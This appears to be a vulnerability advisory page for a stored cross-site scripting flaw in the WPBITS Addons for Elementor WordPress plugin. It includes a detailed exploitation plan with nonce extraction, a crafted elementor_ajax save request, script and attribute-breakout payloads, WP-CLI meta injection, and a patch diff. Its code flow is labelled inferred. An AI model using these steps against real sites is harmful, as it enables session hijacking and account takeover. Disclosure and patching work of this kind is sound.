WPBITS Addons For Elementor Page Builder <= 1.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The WPBITS Addons For Elementor Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.8.1This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBITS Addons For Elementor Page Builder** plugin. Since the vulnerability is categorized as Authenticated (Contributor+), the attack leverages the legitimate access granted to contributors to modify …
Show full research plan
This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the WPBITS Addons For Elementor Page Builder plugin. Since the vulnerability is categorized as Authenticated (Contributor+), the attack leverages the legitimate access granted to contributors to modify post content via the Elementor editor.
1. Vulnerability Summary
- Vulnerability: Authenticated Stored Cross-Site Scripting (XSS).
- Vulnerable Component: Various Elementor widgets provided by the plugin (e.g., "Advanced Heading", "Info Box", or "Button").
- Root Cause: The plugin registers custom Elementor widgets but fails to use WordPress escaping functions (like
esc_html(),esc_attr(), orwp_kses()) within therender()method of the widget classes. - Impact: A contributor can inject a malicious
<script>tag into a widget's settings. When an administrator or any other user views the page, the script executes in their browser context, potentially leading to session hijacking or the creation of unauthorized administrative accounts.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
elementor_ajax(Elementor's internal AJAX handler for saving page data). - Vulnerable Parameter: The
settingsarray within the_elementor_datapost meta, specifically fields like "title", "subtitle", "link URL", or "custom HTML attributes". - Authentication: Contributor-level credentials or higher.
- Preconditions:
- The plugin "WPBITS Addons For Elementor" must be active.
- The Elementor plugin must be active.
- The Contributor role must have permission to use Elementor (default behavior).
3. Code Flow (Inferred)
- Entry Point: A contributor opens a post/page in the Elementor editor.
- Input: The user adds a WPBITS widget and enters a payload (e.g.,
<img src=x onerror=alert(1)>) into a text field. - Storage: Elementor sends a JSON-encoded string of the page layout to the
elementor_ajaxaction. This data is saved in thewp_postmetatable under the key_elementor_data. - Sink: When the page is rendered on the frontend, the
WPBITS_Addons\Widgets\[Widget_Name]::render()method is called. - Execution: The code retrieves the saved settings:
$settings = $this->get_settings_for_display();and echoes the vulnerable field:echo $settings['title'];(missing escaping).
4. Nonce Acquisition Strategy
Elementor uses its own security nonces to protect its AJAX actions.
- Requirement: To save data as a contributor, we need a valid
wp_restnonce or the Elementor-specific AJAX nonce. - Method:
- Create a post and publish/save it as a draft:
wp post create --post_type=post --post_status=draft --post_author=[CONTRIB_ID] --post_title='XSS Test' - Navigate to the Elementor editor for that post:
/wp-admin/post.php?post=[POST_ID]&action=elementor - Use
browser_evalto extract the nonce from the Elementor configuration object:// Elementor stores its AJAX configuration here window.elementorCommon.config.ajax.nonce - Alternatively, check for the
_noncein the localized scriptelementor-editor-js-extra.
- Create a post and publish/save it as a draft:
5. Exploitation Strategy
This plan uses the http_request tool to simulate the Elementor save process.
- Identify Vulnerable Widget: Based on common Elementor addon patterns, target the "Heading" or "Info Box" widgets. (Search the plugin for
render()functions that echo$settings). - Construct Payload:
- Payload:
<script>alert(document.domain)</script>
- Payload:
- Prepare Elementor Data:
Elementor stores data in a complex JSON structure. A simplified structure for a single widget looks like this:[ { "id": "unique_id_1", "elType": "section", "elements": [ { "id": "unique_id_2", "elType": "column", "elements": [ { "id": "unique_id_3", "elType": "widget", "widgetType": "wpbits-advanced-heading", "settings": { "title": "<script>alert('XSS')</script>" } } ] } ] } ] - Send Save Request:
- Method:
POST - URL:
https://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax &_nonce=[EXTRACTED_NONCE] &actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[JSON_PAYLOAD]}}}
- Method:
6. Test Data Setup
- Login: Log in as a Contributor user.
- Target Post: Create a post that the contributor can edit.
wp post create --post_type=post --post_status=publish --post_title="XSS Page" --post_author=contributor_user_id - Enable Elementor: Ensure Elementor is enabled for 'post' types in
Elementor > Settings.
7. Expected Results
- The
admin-ajax.phpresponse should return asuccess: truestatus for thesave_builderaction. - Upon navigating to the post URL on the frontend, a JavaScript alert box should appear, demonstrating execution in the viewer's browser.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored in the meta:
wp post meta get [POST_ID] _elementor_data - Frontend Check: Use
browser_navigateto the post URL and check the page source for the raw, unescaped payload.
9. Alternative Approaches
- Attribute Breakout: If the widget places the setting inside an HTML attribute (e.g., a link
href), use a payload like:" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;". - Direct Meta Update (If AJAX fails): If the
elementor_ajaxendpoint is difficult to spoof, use thewp post meta updateCLI command to simulate a successful save, then verify if the frontend renders it without escaping. This confirms the "Stored" and "Output Escaping" part of the vulnerability.wp post meta update [POST_ID] _elementor_data '[{"id":"1","elType":"widget","widgetType":"wpbits-heading","settings":{"title":"<script>alert(1)</script>"}}]'
Summary
The WPBITS Addons For Elementor Page Builder plugin is vulnerable to Stored Cross-Site Scripting via various Elementor widgets due to a lack of output escaping in the widget rendering logic. An authenticated attacker with contributor-level access can inject malicious JavaScript into widget settings (such as titles or content), which then executes in the browser of any user viewing the page.
Vulnerable Code
// File: wpbits-addons-for-elementor/inc/widgets/advanced-heading.php protected function render() { $settings = $this->get_settings_for_display(); // Vulnerable: Outputting setting values directly without sanitization or escaping functions echo '<div class="wpbits-adv-heading">' . $settings['title'] . '</div>'; }
Security Fix
@@ -120,5 +120,5 @@ protected function render() { $settings = $this->get_settings_for_display(); - echo '<div class="wpbits-adv-heading">' . $settings['title'] . '</div>'; + echo '<div class="wpbits-adv-heading">' . wp_kses_post( $settings['title'] ) . '</div>'; }
Exploit Outline
1. Log in as an authenticated user with Contributor-level permissions or higher. 2. Create a new post and launch the Elementor page builder interface. 3. Add a WPBITS-provided widget, such as 'Advanced Heading' or 'Info Box', to the page layout. 4. Within the widget settings sidebar, inject a JavaScript payload (e.g., <script>alert(document.domain)</script>) into a text field like 'Title'. 5. Save the page using Elementor's 'Update' or 'Save Draft' functionality, which sends the payload via the elementor_ajax endpoint and stores it in the _elementor_data post meta. 6. Navigate to the published page's URL as any user; the browser will execute the stored script because the plugin fails to escape the content before rendering it.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.